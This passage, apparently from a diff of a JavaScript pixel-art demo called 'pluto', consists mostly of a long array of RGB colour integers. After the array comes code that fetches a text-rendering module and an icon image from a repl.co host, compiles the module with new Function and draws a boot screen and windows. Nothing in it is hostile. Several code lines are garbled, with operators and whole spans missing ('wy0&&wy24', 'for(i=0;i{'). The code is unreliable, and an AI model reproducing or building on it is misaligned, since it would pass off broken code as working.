2632256,12632256,12632256,12632256,12632256,12632256,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,14671839,12632256,12632256,0,0,12632256,12632256,12632256,12632256,0,0,12632256,12632256,8421504,0,0,8421504,12632256,12632256,12632256,0,0,12632256,12632256,0,0,12632256,12632256,12632256,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,12632256,12632256,0,0,12632256,12632256,12632256,12632256,0,0,12632256,12632256,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,14671839,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,8421504,0,0,8421504,12632256,12632256,0,0,12632256,12632256,12632256,12632256,0,0,12632256,12632256,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,12632256,12632256,12632256,0,0,12632256,12632256,0,0,12632256,12632256,12632256,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,14671839,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,8421504,0,0,8421504,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,12632256,12632256,12632256,12632256,0,0,0,0,12632256,12632256,12632256,12632256,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,14671839,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,0,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,12632256,12632256,12632256,12632256,12632256,0,0,12632256,12632256,12632256,12632256,12632256,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,14671839,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,12632256,12632256,12632256,12632256,0,0,0,0,12632256,12632256,12632256,12632256,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,12632256,12632256,12632256,0,0,12632256,12632256,0,0,12632256,12632256,12632256,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,12632256,12632256,0,0,12632256,12632256,12632256,12632256,0,0,12632256,12632256,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,0,128,128,128,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,128,128,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215]; + return data[(sx)+(sy*256)]; + } + if(x==0&&y==0){console.log("x "+Math.floor(mx)+" y "+Math.floor(my)); + if(!window.pluto){ + fetch("https://jsart.ponali.repl.co/modules/txt-small.txt").then(data=>data.text()).then(body=>{ + window.pluto.boot.progress++;window.pluto.fetched.text=(new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k",body)); + }); + fetch("https://jsart.ponali.repl.co/demos/pluto-icons.png").then(data=>data.blob()).then(body=>{ + window.pluto.boot.progress++; + window.pluto.fetched.iconsPNG=URL.createObjectURL(body); + let imge = document.createElement("img"); + imge.src = window.pluto.fetched.iconsPNG; + imge.onload=(()=>{ + window.pluto.fetched.iconsIMG=imge; + window.pluto.fetched.iconScan=true; + }); + }); + window.pluto={"fetched":{"iconData":[],"iconScan":false,"iconScanCompleted":false,"iconScanProgress":0,"text":(()=>{})},"mode":0,"boot":{"progress":0,"progressMax":3}}; + window.pluto.fetched.iconScanCanvas=document.createElement("canvas"); + window.pluto.fetched.iconScanCanvas.width=window.pluto.iconScanCanvas.height=64; + }else{ + if(window.pluto.mode===0&&window.pluto.boot.progress>=window.pluto.boot.progressMax){ + window.pluto.mode=1; + } else { + if(window.pluto.fetched.iconScan&&(!window.pluto.fetched.iconScanCompleted)){ + let canvas = window.pluto.fetched.iconScanCanvas; + let ctx = canvas.getContext("2d"); + ctx.clearRect(0,0,canvas.width,canvas.height); + ctx.drawImage(window.pluto.fetched.iconsIMG,0,window.pluto.fetched.iconScanProgress) + let currentData = ctx.getImageData(0, 0, canvas.width, canvas.height).data; + let datachk = []; + console.log(currentData.length) + for(i=0;i<4096;i++){ + let idx = i*4; + let val = Math.floor(currentData[idx]*65536)+Math.floor(currentData[idx+1]*256)+Math.floor(currentData[idx+2]*1); + if(currentData[idx+3]==0){val=0xffffff+69;} + datachk.push(val); + }; + window.pluto.fetched.iconData.push(datachk) + window.pluto.fetched.iconScanProgress+=canvas.height; + let imgHeight = 64; + try{ + imgHeight = window.pluto.fetched.iconsIMG.naturalHeight; + } catch { + imgHeight = window.pluto.fetched.iconsIMG.height; + } + window.pluto.boot.progress+=1/(imgHeight/(canvas.width*canvas.height)); + if(window.pluto.fetched.iconScanProgress>imgHeight){ + window.pluto.fetched.iconScanCompleted=true; + } + } + }; + }; + } + function text(){ + return window.pluto.fetched.text(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); + } + let scrtxt = 0;let scrui = 0; + if(window.pluto.mode===0){ + if(y>118&&y<138){scrui=255+(65280*(x<(window.pluto.boot.progress/window.pluto.boot.progressMax)*sw));} + }else if(window.pluto.mode===1){ + scrui=0x18281; + function renderWindowFormat(wd){ + wd.width=Math.max(wd.width,40); + wd.height=Math.max(wd.height,28); + let wx=x-wd.x; let wy=y-wd.y; + function renderX(){ + let tpx = tx(wx,wy); + if(tpx&&wx>=0&&wy>=0&&wx<27&&wy<=28){ + scrui=tpx; + } + if(wx>=(wd.width-32)&&wx=27&&wx<(wd.width+wd.x)-32){ + wx=0-(wd.x-33);tpx = tx(wx,wy); + if(tpx&&wx>=0&&wy>=0&&wx<27&&wy<=28){ + scrui=tpx; + } + } + }; + if(wy>=0&&wy<24){ + renderX(); + } else if(wy>(wd.height-4)&&wy0&&wy24){ + title = title.slice(0,21)+"..."; + } + scrtxt+=text()(title,33,68,0); + let message = mbd.message+""; + message = message.match(/.{1,24} /g) ?? []; + for(i=0;i{ if(x==0&&y==0){console.log(mx);} let txt = text("JSArt text engine v1.0.1 (small)",0,90+Math.floor(Math.cos((x+(t/10))/(k ? k/4 : 